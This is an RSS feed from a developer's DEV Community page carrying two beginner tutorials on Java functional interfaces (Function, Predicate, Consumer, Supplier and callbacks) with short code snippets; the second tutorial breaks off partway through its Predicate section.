<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Mukund Madhav</title>
    <description>The latest articles on DEV Community by Mukund Madhav (@mukundmadhav).</description>
    <link>https://dev.to/mukundmadhav</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F746257%2Fadce473d-5f16-4095-80c2-1c16dd83bb66.jpg</url>
      <title>DEV Community: Mukund Madhav</title>
      <link>https://dev.to/mukundmadhav</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mukundmadhav"/>
    <language>en</language>
    <item>
      <title>Exploring Functional Interfaces in Java</title>
      <dc:creator>Mukund Madhav</dc:creator>
      <pubDate>Sat, 05 Feb 2022 02:57:19 +0000</pubDate>
      <link>https://dev.to/mukundmadhav/exploring-functional-interfaces-in-java-3cbe</link>
      <guid>https://dev.to/mukundmadhav/exploring-functional-interfaces-in-java-3cbe</guid>
      <description>&lt;p&gt;This is second part of the series in Functional interfaces. Check the first one here: &lt;a href="https://dev.to/mukundmadhav/the-ultimate-guide-to-functional-interfaces-in-java-part-1-5cln"&gt;Guide to Func interfaces&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Java Function Interface
&lt;/h2&gt;

&lt;p&gt;What is a Java Function interface?&lt;/p&gt;

&lt;p&gt;It represents a functional interface that accepts one argument and produces a result of any class type.&lt;/p&gt;

&lt;p&gt;We know that functional interfaces can have a single abstract method (SAM). So the SAM here is called apply:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;em&gt;apply&lt;/em&gt; Applies this function to the given argument.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s look at an example:&lt;/p&gt;

&lt;p&gt;The following code, performs cube root of 27.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Function&amp;lt;Integer, Double&amp;gt; cubeRoot = num -&amp;gt; Math.pow(num , 0.334);
System.out.println(cubeRoot.apply(27)); // Output: 3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt; represents parameter and output type respectively.&lt;/p&gt;

&lt;p&gt;The next obvious question should be:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why use Java Function interface instead of a normal method?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--LIZJnmqv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2019/02/20/15/03/people-4009327_960_720.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--LIZJnmqv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2019/02/20/15/03/people-4009327_960_720.png" alt="People, Special, Different, Employment, Hiring, Job" width="880" height="587"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Streams&lt;/strong&gt;: If you have made any list manipulation in Java recently, you would have used streams.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let’s look at the code below that extracts name from Person class (defined above)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Stream.of(listOfPersons)
   .map(p -&amp;gt; p.getName())
   .collect(Collectors.toList());
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This code extracts list of names from list of Persons.&lt;/p&gt;

&lt;p&gt;Now, notice the map () method.&lt;/p&gt;

&lt;p&gt;It is receiving &lt;em&gt;p → p.getName()&lt;/em&gt; as a parameter…Isn’t that weird?&lt;/p&gt;

&lt;p&gt;This is made possible with Java Function. map () receives Function (the functional interface) as a parameter and since p→ p.getName() is a function so that is how it is possible.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Chained Function&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Similar to Predicate chaining, you can chain two functions also. By this, result of one function is then passed to another. You can have two independent functions and can reuse them to create a new use-case.&lt;/p&gt;

&lt;p&gt;Let’s explore this with an example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Function&amp;lt;Double, Double&amp;gt; getCubeRoot = num -&amp;gt; Math.pow(num, 0.334);
Function&amp;lt;Double, Double&amp;gt; getSqaureRoot = num -&amp;gt; Math.pow(num, 0.5);

System.out.println(getCubeRoot.apply(getSqaureRoot.apply(64d))); //Output: 2 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As we can see, getCubeRoot and getSqaureRoot has individual use cases to get the cube and square root respectively, but then they can be used together to get the sixth root. (1/2 x 1/3)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why use predicate when we have Function?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The next obvious question, would be why not use Function everywhere? Isn’t Predicate just a special case of Function, where it returns Boolean value?&lt;/p&gt;

&lt;p&gt;Well, no.&lt;/p&gt;

&lt;p&gt;Let me explain.&lt;/p&gt;

&lt;p&gt;A function can return a “Boolean” (wrapper class) value, while Predicate will always return a “boolean” (primitive type) value.&lt;/p&gt;

&lt;p&gt;So, there is a lack of autoboxing in Predicate and a lack of unboxing in Function.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HRIN-HJm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2017/02/16/13/42/box-2071537_960_720.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HRIN-HJm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2017/02/16/13/42/box-2071537_960_720.png" alt="Box, Package" width="720" height="720"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is intentionally done because Predicate, in most cases, is used for validations. Therefore if Predicate returns null instead of true/false, we won’t know what should be the course of action. In Streams, there are filter functions that can only accept Predicates whereas a map will only accept a Function.&lt;/p&gt;

&lt;p&gt;This can be easily demonstrated. The following code will return in complication error:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; Function&amp;lt;Person, Boolean&amp;gt; isAdult = user -&amp;gt; user.getAge() &amp;gt; 18;
Stream&amp;lt;Person&amp;gt; beerPartyList  = stringList().stream().filter(isAdult); // point 1

Predicate&amp;lt;Person&amp;gt; isAwesome = user -&amp;gt; user.following().equals("mukundmadhav02");
Stream&amp;lt;Person&amp;gt; awesomePeopleList = stringList().stream().map(isAwesome); // point 2 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At point 1 and 2, we are passing Function, where a predicate is needed and vice versa.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is a BiFunction?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Like Predicate, there are BiFunctions also. As the name implies, they accept two arguments of any class type and return a single result.&lt;/p&gt;

&lt;h2&gt;
  
  
  Java Supplier and Consumer
&lt;/h2&gt;

&lt;p&gt;The Java util Supplier and Consumer functional interfaces are very much complementary to each other so it’s better if we look at them together.&lt;/p&gt;

&lt;p&gt;First, let’s get their definitions out of the way.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;What is Java Consumer interface?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_eJT3VdH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2018/03/14/12/53/shopping-3225130_960_720.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_eJT3VdH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2018/03/14/12/53/shopping-3225130_960_720.png" alt="Shopping, Cart, Man, Woman, Running, Run, Buy, Store" width="880" height="608"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It is :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  a Functional interface 💁🏻&lt;/li&gt;
&lt;li&gt;  Accepts one argument and does not return anything&lt;/li&gt;
&lt;li&gt;  Single Abstract Method: accept – It simply performs the operation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hm, let’s look at an example:&lt;/p&gt;

&lt;p&gt;In the following code, we are accepting a String in our Consumer. And, we are then returning the greeting message.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Consumer&amp;lt;String&amp;gt; generateGreeting = name -&amp;gt; System.out.println("Hello " + name);
generateGreeting.accept("Mukund"); // Output: Hello Mukund 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;name is passed as an argument to generateGreeting consumer, and output is printed.&lt;/p&gt;

&lt;p&gt;Pretty simple, eh?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where would you use the Consumer interface?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The one area Consumer are ubiquitously used is in forEach function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;List&amp;lt;String&amp;gt; coolWebsites = List.of("colorhexpicker", "google");
coolWebsites.forEach(site -&amp;gt; System.out.println("https://" + site +  ".com"));
/*
Output:
&amp;lt;https://colorhexpicker.com&amp;gt;
&amp;lt;https://google.com&amp;gt;
*/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above example, we are iterating through list of cool websites and appending the HTTPS protocol and .com TLD before printing.&lt;/p&gt;

&lt;p&gt;Iterating through each element via traditional for-loop involves too much boiler plating.&lt;/p&gt;

&lt;p&gt;List’s forEach method accepts a Consumer and that makes iteration so simple and intuitive 💫&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Side Note:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you look at the official Consumer documentation it says,&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Unlike most other functional interfaces, &lt;code&gt;Consumer&lt;/code&gt; is expected to operate via side effects.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;What does this mean?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;If we look at what consumer is doing, it is accepting something and not returning anything. Of the most useful things we can do with it, Consumer is typically most used in a for-each loop. So if we say that, for Each cannot mutate the list it is being passed to then, looping through each element in the list would be useless.&lt;/p&gt;

&lt;p&gt;So that is why the consumer (unlike other functional interfaces) fails to satisfy the &lt;a href="https://www.geeksforgeeks.org/pure-functions/"&gt;criteria for pure functions&lt;/a&gt; (which states that function should not mutate state).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Not important, but good to know.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Okay, let’s dive head-first Supplier.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;What is Java Supplier interface?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0ez0C083--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2019/08/05/15/09/team-4386219_960_720.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0ez0C083--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2019/08/05/15/09/team-4386219_960_720.png" alt="Team, Greeting, Suppliers, Force, Collaboration" width="792" height="720"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Just contrary to Consumers, Suppliers return a single output without any input.&lt;/p&gt;

&lt;p&gt;It is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  a Functional interface&lt;/li&gt;
&lt;li&gt;  Does not accept anything, returns a single parameter&lt;/li&gt;
&lt;li&gt;  SAM: get: Gets a result&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hm, let’s look at an example&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Supplier&amp;lt;String&amp;gt; getFavString = () -&amp;gt; "02";
System.out.println(getFavString.get()); // Output: 02
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above example, a supplier getFavString does not accept anything but simply returns a string (02 in this case).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where would you use the Supplier interface?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now, if you are seeing a Supplier for the first time then like me, You might be tempted to think, why would anyone use it?&lt;/p&gt;

&lt;p&gt;It does not accept anything and returns something…? Why would you use it?&lt;/p&gt;

&lt;p&gt;Supplier becomes immensely useful when you tie it with another Java 8’s feature – Optional class. To briefly sum up what is Optional, it is a new class defined to Java 8 that helps in better handling of Null values.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Optional.orElseGet&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here, if the value is null, orElseGet invokes another function that can get the value or initialize with some default value.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;String lastUser = Optional.of(getLatestNameFromChildDb())
                                                        .orElseGet(() -&amp;gt; getLatestNameFromMasterDb());
System.out.println(lastUser);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above example, we first try to get value from Child DB and if that does not return anything then we get value from master DB.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;() → getLatestNameFromMasterDb()&lt;/em&gt; is the supplier and its lazily executed. Meaning, it won’t get executed if we get value from get getLatestNameFromChildDb();&lt;/p&gt;

&lt;p&gt;There is also Double Supplier and Double Supplier and So on. They are simply Suppliers/Consumers who return/accept Double valued results. The same is there for other types like IntSupplier, LongSupplier, etc.&lt;/p&gt;

&lt;h1&gt;
  
  
  Callbacks in Java
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--oPeD3VIM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2016/11/17/16/05/icons-1831922_960_720.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--oPeD3VIM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2016/11/17/16/05/icons-1831922_960_720.png" alt="Icons, Phone, Round, Connect, Service, Sign, Support" width="716" height="720"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With the introduction of functional interfaces in Java, another interesting programming practise is now possible in Java – callbacks.&lt;/p&gt;

&lt;p&gt;Before diving into how callbacks are implemented in Java, let’s look at what they are and why are they useful?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Callback are function passed to another function. This allows for them to be excuted from the function they are passed to depending on certain criteria.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You’ll already know that it’s not possible to pass function to function in Java. This is where functional interfaces come in. Since they can be assigned agaisnt a variable, you can pass them to other functions and hence achieve calbacks.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;public void init(Consumer&amp;lt;Void&amp;gt; callback) {
    callback.accept(null);
}

init((Void) -&amp;gt; done());
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Let’s connect
&lt;/h1&gt;

&lt;p&gt;Since you have read this far, let’s do a shameless plug.&lt;/p&gt;

&lt;p&gt;Let’s discuss more on Java on Twitter 🎃&lt;/p&gt;

&lt;p&gt;&lt;a href="https://twitter.com/mukundmadhav02"&gt;Connect on Twiiter&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  TLDR Infographics
&lt;/h1&gt;

&lt;p&gt;If you skipped the article or read it and want a summed up version, the following infographic summarises the entire article – with functional interfaces and Predicate, function, Consumer and Supplier.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--8eWB43SQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/Functional-Interfaces.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8eWB43SQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/Functional-Interfaces.png" alt="Summary of Functional Interfaces in Java" width="800" height="2000"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Summing it up
&lt;/h1&gt;

&lt;p&gt;To sum it up, functional interfaces enabled unparalleled functional programming in Java. Thanks to functional interfaces, Java programs are no longer declarative just for it.&lt;/p&gt;

&lt;p&gt;Functional interfaces with lambdas, help to quickly spin up code execution This reduces the effort that would have otherwise been used to write long boilerplate code to more intuitive approaches.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--wWHH6Xqb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/Java-Util-Functions-Prediacte-Consumer-Supplier-diffrerence.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--wWHH6Xqb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/Java-Util-Functions-Prediacte-Consumer-Supplier-diffrerence.png" alt="All functional interfaces in Java compared" width="880" height="660"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hope this was helpful. Have an amazing day/night ahead 😎&lt;/p&gt;

&lt;p&gt;Categories &lt;a href="https://mukundmadhav.com/category/java/"&gt;Java&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Post navigation&lt;a href="https://mukundmadhav.com/log4j-vulnerability-fix/"&gt;Everything you need to know about log4j vulnerability &amp;amp; how to fix it&lt;/a&gt;&lt;/p&gt;

</description>
      <category>java</category>
      <category>beginners</category>
      <category>programming</category>
      <category>webdev</category>
    </item>
    <item>
      <title>The ultimate guide to Functional interfaces in Java </title>
      <dc:creator>Mukund Madhav</dc:creator>
      <pubDate>Wed, 26 Jan 2022 06:44:21 +0000</pubDate>
      <link>https://dev.to/mukundmadhav/the-ultimate-guide-to-functional-interfaces-in-java-part-1-5cln</link>
      <guid>https://dev.to/mukundmadhav/the-ultimate-guide-to-functional-interfaces-in-java-part-1-5cln</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--kW-LfGYR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2021/12/Functional-interfaces-in-Java.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--kW-LfGYR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2021/12/Functional-interfaces-in-Java.png" alt="Functional interfaces in Java" width="880" height="461"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We all have heard that Java Functional interfaces unleashed functional programming paradigm in Java.&lt;/p&gt;

&lt;p&gt;That’s all cool but…what are these Functional interfaces?&lt;/p&gt;

&lt;p&gt;Let’s try &lt;a href="https://docs.oracle.com/javase/8/docs/api/java/util/function/package-summary.html"&gt;Oracle’s official documentation&lt;/a&gt; for the Functional interface:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Functional interfaces&lt;/em&gt; provide target types for lambda expressions and method references. Each functional interface has a single abstract method, called the &lt;em&gt;functional method&lt;/em&gt; for that functional interface, to which the lambda expression’s parameter and return types are matched or adapted.&lt;/p&gt;

&lt;p&gt;Oracle&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Hm. That did not help much? Or did that answer a bit?&lt;/p&gt;

&lt;p&gt;Either way, don’t fret.&lt;/p&gt;

&lt;p&gt;We will dive deep into Functional interfaces. Additionally, we will explore the most commonly used built-in interfaces like predicate, function, supplier and consumer.&lt;/p&gt;

&lt;p&gt;This is a bit long article, if short on time, skip to the TLDR at the end. (There’s a summarised infographic 😃)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--q53PiMDM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2017/01/24/03/56/flipchart-2004501_960_720.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--q53PiMDM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2017/01/24/03/56/flipchart-2004501_960_720.png" alt="Flipchart, Presentation, Powerpoint, Office, Work, Draw" width="720" height="720"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;First question, what are Functional interfaces?&lt;/p&gt;

&lt;p&gt;Simple, they are interfaces in Java that follow the following criteria:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Is an interface – duh! 🙆‍♂️&lt;/li&gt;
&lt;li&gt;  Has just one abstract method&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The good thing to note here would be that, since Java 8, interfaces can have &lt;a href="https://docs.oracle.com/javase/tutorial/java/IandI/defaultmethods.html"&gt;default methods&lt;/a&gt; So, having multiple or no default methods have no effect whatsoever on the interface’s criteria for being a functional interface.&lt;/p&gt;

&lt;p&gt;That’s clear, I hope.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Now onto @FunctionalInterface.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Remember the two rules we talked about Functional interfaces?&lt;/p&gt;

&lt;p&gt;The @FunctionalInterface instructs the compiler to treat and validate the interface as a functional interface. And hence, if the compiler finds out that the criteria for a functional interface is not met while the annotation @FunctionalInterface is used, it will throw an appropriate error message.&lt;/p&gt;

&lt;p&gt;However, usage of the annotation is completely optional.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How Java 8 made these functional interfaces cooler?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before Java 8, to define a functional interface we used to have to write verbose looking anonymous classes.&lt;/p&gt;

&lt;p&gt;Here’s a snippet of how that used to look:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s----kytdkt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/image.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s----kytdkt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/image.png" alt="" width="669" height="188"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Yeah, I know. 🤮&lt;/p&gt;

&lt;p&gt;But with the introduction of &lt;a href="https://www.baeldung.com/java-8-lambda-expressions-tips"&gt;lambdas&lt;/a&gt; ( which is just a short form to represent a specific type of anonymous class → Functional interfaces) here’s how the code would look&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vUhQVxkc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/image-1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vUhQVxkc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/image-1.png" alt="" width="821" height="79"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Pretty neat, eh?&lt;/p&gt;

&lt;p&gt;Now, that we know what functional interfaces are, let’s look at some amazing in-built JDK 8 ones.&lt;/p&gt;

&lt;h2&gt;
  
  
  Before we go…
&lt;/h2&gt;

&lt;p&gt;Before we go any further, let’s quickly look at lambdas so that everything makes much more sense later.&lt;/p&gt;

&lt;p&gt;Lambdas are&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Another way to represnet functional interface instead of anonmoys function&lt;/li&gt;
&lt;li&gt;  The common syntax looks something like&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;ReturnType lambdaName = parameter -&amp;gt; parameter + ” do something with parameter”;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;lambdaName is the name of lambda. And, the parameter is well, parameter to the lambda function.&lt;/p&gt;

&lt;p&gt;For more on lambda, I’d recommend checking out &lt;a href="https://howtodoinjava.com/java8/lambda-expressions/"&gt;this lambda guide.&lt;/a&gt; Else, let’s move to functional interfaces.&lt;/p&gt;

&lt;h1&gt;
  
  
  Exploring &lt;strong&gt;java.util.function package&lt;/strong&gt;
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ToTELkLU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2013/07/12/12/14/tool-145375_960_720.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ToTELkLU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2013/07/12/12/14/tool-145375_960_720.png" alt="Tool, Pliers, Screwdriver, Construction, Equipment" width="773" height="720"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This package contains several nifty functional interfaces that forms the basis for functional programming in Java.&lt;/p&gt;

&lt;p&gt;These functional interfaces have commonly used applications. Hence, it makes senses to use them.&lt;/p&gt;

&lt;p&gt;Most of the times, these are syntactical sugars that makes coding a little bit more pleasant thanks to functional approach to things.&lt;/p&gt;

&lt;p&gt;Let’s begin with most simple of them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Java Predicate
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--QIEFhBAZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/ftfunct.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QIEFhBAZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/ftfunct.png" alt="" width="600" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is a Java Predicate?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Java Predicate is a built-in functional interface that accepts a single argument and returns a “boolean” (not Boolean) value result.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Did not get it?&lt;/p&gt;

&lt;p&gt;Let me show with an example:&lt;/p&gt;

&lt;p&gt;Suppose you want to check if a number is greater than 0. Here’s how a predicate would look like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Predicate&amp;lt;Integer&amp;gt; checkIfPositive = num -&amp;gt; (num &amp;gt; 0);
System.out.println(checkIfPositive.test(2)); // Output: true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When this predicate is called at line 2, it will return true/false&lt;/p&gt;

&lt;p&gt;What is this test method that is being called in predicate? Let’s quickly glance over some poplar predicate method then it will make better sense.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Popular Predicate methods&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;em&gt;&lt;strong&gt;test&lt;/strong&gt;&lt;/em&gt; (the single abstract method for Predicate)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Remember how we discussed functional methods can have a single abstract method? Well, “test” is that method for Predicate.&lt;/p&gt;

&lt;p&gt;It evaluates the results and returns true or false. Like in the initial example it will print true.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;em&gt;&lt;strong&gt;and&lt;/strong&gt;&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It represents the logical AND (like &amp;amp;&amp;amp; in Java) for predicate outputs.&lt;/p&gt;

&lt;p&gt;So, since predicate return true and false, joining them with “and” will feel like adding &amp;amp;&amp;amp; conditions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
